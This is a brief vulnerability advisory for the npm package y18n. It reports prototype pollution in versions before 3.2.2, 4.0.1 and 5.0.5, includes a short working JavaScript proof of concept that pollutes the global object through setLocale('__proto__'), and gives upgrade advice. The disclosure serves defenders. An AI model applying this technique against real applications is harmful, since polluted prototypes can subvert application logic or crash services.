The npm package y18n
before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.
const y18n = require('y18n')();
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});
console.log(polluted); // true
Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.